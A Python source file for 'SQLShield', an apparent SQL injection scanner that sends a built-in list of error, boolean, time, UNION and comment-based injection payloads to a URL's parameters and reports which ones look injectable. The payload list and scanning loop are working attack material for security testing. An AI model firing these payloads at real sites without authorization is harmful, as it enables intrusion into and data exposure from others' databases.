sqlshield.py

#!/usr/bin/env python3
"""
SQLShield - SQL Injection Detection Tool
Author: Deepesh Kumar Mahawar (deepmaha2006)
Description: Detects SQL injection vulnerabilities in web applications
             by testing various payloads against URL parameters.
             For authorized security testing ONLY.
"""

import sys
import time
import json
import urllib.parse
import urllib.request
import urllib.error
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed

# ANSI Colors
RED     = "\033[91m"
GREEN   = "\033[92m"
YELLOW  = "\033[93m"
CYAN    = "\033[96m"
BOLD    = "\033[1m"
RESET   = "\033[0m"
MAGENTA = "\033[95m"

BANNER = f"""
{RED}{BOLD}
  ██████╗  ██████╗ ██╗     ███████╗██╗  ██╗██╗███████╗██╗     ██████╗
  ██╔════╝██╔═══██╗██║     ██╔════╝██║  ██║██║██╔════╝██║     ██╔══██╗
  ╚█████╗ ██║   ██║██║     ███████╗███████║██║█████╗  ██║     ██║  ██║
   ╚═══██╗██║▄▄ ██║██║     ╚════██║██╔══██║██║██╔══╝  ██║     ██║  ██║
  ██████╔╝╚██████╔╝███████╗███████║██║  ██║██║███████╗███████╗██████╔╝
  ╚═════╝  ╚══▀▀═╝ ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚═════╝
{RESET}
{CYAN}                  SQL Injection Detection Tool v2.0{RESET}
{YELLOW}                  Author: Deepesh Kumar Mahawar{RESET}
{RED}           [!] For authorized penetration testing ONLY [!]{RESET}
"""

# SQL Injection payloads categorized by type
PAYLOADS = {
    "Error-Based": [
        "'",
        "''",
        "' OR '1'='1",
        "' OR '1'='1'--",
        "' OR '1'='1'/*",
        "\" OR \"1\"=\"1",
        "1' ORDER BY 1--",
        "1' ORDER BY 2--",
        "1' ORDER BY 3--",
        "' UNION SELECT NULL--",
        "' UNION SELECT NULL,NULL--",
    ],
    "Boolean-Based": [
        "' AND 1=1--",
        "' AND 1=2--",
        "1 AND 1=1",
        "1 AND 1=2",
        "' AND 'x'='x",
        "' AND 'x'='y",
        "1' AND SLEEP(0)--",
    ],
    "Time-Based": [
        "'; WAITFOR DELAY '0:0:2'--",
        "' OR SLEEP(2)--",
        "1; SELECT SLEEP(2)--",
        "'; SELECT pg_sleep(2)--",
        "1 AND SLEEP(2)",
    ],
    "UNION-Based": [
        "' UNION SELECT 1--",
        "' UNION SELECT 1,2--",
        "' UNION SELECT 1,2,3--",
        "' UNION ALL SELECT NULL--",
        "' UNION SELECT @@version--",
        "' UNION SELECT user()--",
        "' UNION SELECT table_name FROM information_schema.tables--",
    ],
    "Comment-Based": [
        "'--",
        "'#",
        "' /*",
        "admin'--",
        "admin'#",
        "' OR 1=1--",
        "' OR 1=1#",
    ]
}

# Error signatures indicating SQL injection 
ERROR_SIGNATURES = [
    # MySQL
    "you have an error in your sql syntax",
    "warning: mysql",
    "mysql_fetch_array()",
    "mysql_num_rows()",
    "supplied argument is not a valid mysql",
    # PostgreSQL
    "psycopg2",
    "org.postgresql",
    "pg_query()",
    # MSSQL
    "microsoft ole db provider for sql server",
    "odbc sql server driver",
    "sqlserver",
    "unclosed quotation mark",
    # Oracle
    "ora-00933",
    "ora-00907",
    "oracle error",
    "oracle.*driver",
    # General
    "sql syntax",
    "warning: pg_",
    "valid mysql result",
    "mysqlclient",
    "syntax error",
    "unterminated string",
    "quoted string not properly terminated",
]


def print_banner():
    print(BANNER)


def normalize_url(url: str) -> str:
    """Ensure URL has a scheme."""
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url


def extract_params(url: str) -> list:
    """Extract GET parameters from a URL."""
    parsed = urllib.parse.urlparse(url)
    params = urllib.parse.parse_qs(parsed.query, keep_blank_values=True)
    return list(params.keys())


def build_injected_url(base_url: str, param: str, payload: str) -> str:
    """Build URL with injected payload in the specified parameter."""
    parsed = urllib.parse.urlparse(base_url)
    params = urllib.parse.parse_qs(parsed.query, keep_blank_values=True)
    params[param] = [payload]
    new_query = urllib.parse.urlencode(params, doseq=True)
    injected = parsed._replace(query=new_query)
    return urllib.parse.urlunparse(injected)


def fetch_url(url: str, timeout: int = 8) -> tuple:
    """
    Fetch a URL and return (response_body, response_time, status_code).
    Returns (None, -1, -1) on failure.
    """
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    }
    req = urllib.request.Request(url, headers=headers)
    try:
        start = time.time()
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            elapsed = time.time() - start
            body = resp.read().decode("utf-8", errors="ignore").lower()
            return body, elapsed, resp.status
    except urllib.error.HTTPError as e:
        elapsed = time.time() - start if 'start' in locals() else -1
        try:
            body = e.read().decode("utf-8", errors="ignore").lower()
            return body, elapsed, e.code
        except Exception:
            return None, elapsed, e.code
    except Exception:
        return None, -1, -1


def check_sqli(url: str, param: str, payload: str, payload_type: str,
               baseline_body: str, baseline_time: float) -> dict:
    """Test a single payload and detect injection."""
    injected_url = build_injected_url(url, param, payload)
    body, resp_time, status = fetch_url(injected_url)

    result = {
        "vulnerable": False,
        "type": payload_type,
        "payload": payload,
        "url": injected_url,
        "evidence": "",
        "confidence": "Low"
    }

    if body is None:
        return result

    # 1. Error-based detection
    for sig in ERROR_SIGNATURES:
        if sig in body and sig not in baseline_body:
            result["vulnerable"] = True
            result["evidence"] = f"SQL error signature found: '{sig}'"
            result["confidence"] = "High"
            return result

    # 2. Time-based detection (response significantly delayed)
    if payload_type == "Time-Based" and resp_time > 1.8:
        if baseline_time < 1.0:  # Only flag if baseline was fast
            result["vulnerable"] = True
            result["evidence"] = f"Response delayed by {resp_time:.2f}s (baseline: {baseline_time:.2f}s)"
            result["confidence"] = "Medium"
            return result

    # 3. Boolean-based: significant content difference
    if payload_type == "Boolean-Based" and baseline_body:
        len_diff = abs(len(body) - len(baseline_body))
        if len_diff > 200:  # Noticeable difference in response
            result["vulnerable"] = True
            result["evidence"] = f"Response length changed by {len_diff} chars"
            result["confidence"] = "Medium"

    return result


def scan_url(url: str, params: list = None, verbose: bool = True) -> dict:
    """
    Scan a URL for SQL injection vulnerabilities.
    
    Args:
        url: Target URL (with parameters)
        params: List of parameters to test (None = auto-detect)
        verbose: Print real-time results
    
    Returns:
        Scan results dictionary
    """
    url = normalize_url(url)
    if verbose:
        print_banner()

    auto_params = extract_params(url)
    if params is None:
        params = auto_params

    if not params:
        print(f"{YELLOW}[!] No GET parameters detected in URL.{RESET}")
        print(f"{CYAN}[*] Add parameters like: {url}?id=1&name=test{RESET}")
        return {"url": url, "params_tested": [], "vulnerabilities": []}

    print(f"\n{CYAN}[*] Target URL : {BOLD}{url}{RESET}")
    print(f"{CYAN}[*] Parameters : {', '.join(params)}")
    print(f"{CYAN}[*] Started    : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"{YELLOW}{'─' * 70}{RESET}\n")

    # Establish baseline
    print(f"{CYAN}[*] Establishing baseline response...{RESET}")
    baseline_body, baseline_time, _ = fetch_url(url)
    if baseline_body is None:
        baseline_body = ""
        baseline_time = 1.0
    print(f"{GREEN}[+] Baseline: {baseline_time:.3f}s, {len(baseline_body)} chars{RESET}\n")

    all_vulns = []
    total_tests = sum(len(p_list) for p_list in PAYLOADS.values()) * len(params)
    tested = 0

    for param in params:
        print(f"\n{CYAN}[*] Testing parameter: {BOLD}{param}{RESET}")
        print(f"{'─' * 50}")
        param_vulns = []

        for payload_type, payload_list in PAYLOADS.items():
            for payload in payload_list:
                result = check_sqli(url, param, payload, payload_type, baseline_body, baseline_time)
                tested += 1

                if result["vulnerable"]:
                    param_vulns.append(result)
                    confidence_color = GREEN if result["confidence"] == "High" else YELLOW
                    print(f"  {RED}[VULN]{RESET} Type: {CYAN}{payload_type}{RESET} | "
                          f"Payload: {YELLOW}{payload[:40]}{RESET} | "
                          f"Confidence: {confidence_color}{result['confidence']}{RESET}")
                    print(f"         Evidence: {result['evidence']}")
                    all_vulns.append({**result, "parameter": param})
                else:
                    sys.stdout.write(f"\r  {GREEN}[OK]{RESET} Testing {payload_type}: {payload[:40]:<40}")
                    sys.stdout.flush()

        print()
        if not param_vulns:
            print(f"  {GREEN}[✓] Parameter '{param}' appears safe{RESET}")

    scan_result = {
        "target_url": url,
        "scan_time": datetime.now().isoformat(),
        "parameters_tested": params,
        "total_payloads": tested,
        "vulnerabilities_found": len(all_vulns),
        "is_vulnerable": len(all_vulns) > 0,
        "vulnerabilities": all_vulns
    }

    # Summary
    print(f"\n{YELLOW}{'═' * 70}{RESET}")
    if all_vulns:
        print(f"{RED}{BOLD}[!] VULNERABLE: {len(all_vulns)} injection point(s) found!{RESET}")
    else:
        print(f"{GREEN}{BOLD}[✓] No SQL injection vulnerabilities detected{RESET}")
    print(f"{CYAN}[*] Tested {tested} payloads across {len(params)} parameter(s){RESET}")
    print(f"{YELLOW}{'═' * 70}{RESET}\n")

    return scan_result


def save_report(scan_result: dict, output_file: str = None):
    """Save scan results to JSON file."""
    if not output_file:
        ts = datetime.now().strftime("%Y%m%d_%H%M%S")
        output_file = f"sqlshield_report_{ts}.json"
    with open(output_file, "w") as f:
        json.dump(scan_result, f, indent=2)
    print(f"{GREEN}[+] Report saved: {output_file}{RESET}")


def main():
    print_banner()
    print(f"{CYAN}SQLShield - SQL Injection Detection Tool{RESET}")
    print(f"{YELLOW}Usage: python sqlshield.py <URL>{RESET}\n")

    if len(sys.argv) < 2:
        target = input(f"{CYAN}[?] Enter target URL (e.g., http://testphp.vulnweb.com/artists.php?artist=1): {RESET}").strip()
    else:
        target = sys.argv[1]

    results = scan_url(target)
    save_report(results)


if __name__ == "__main__":
    main()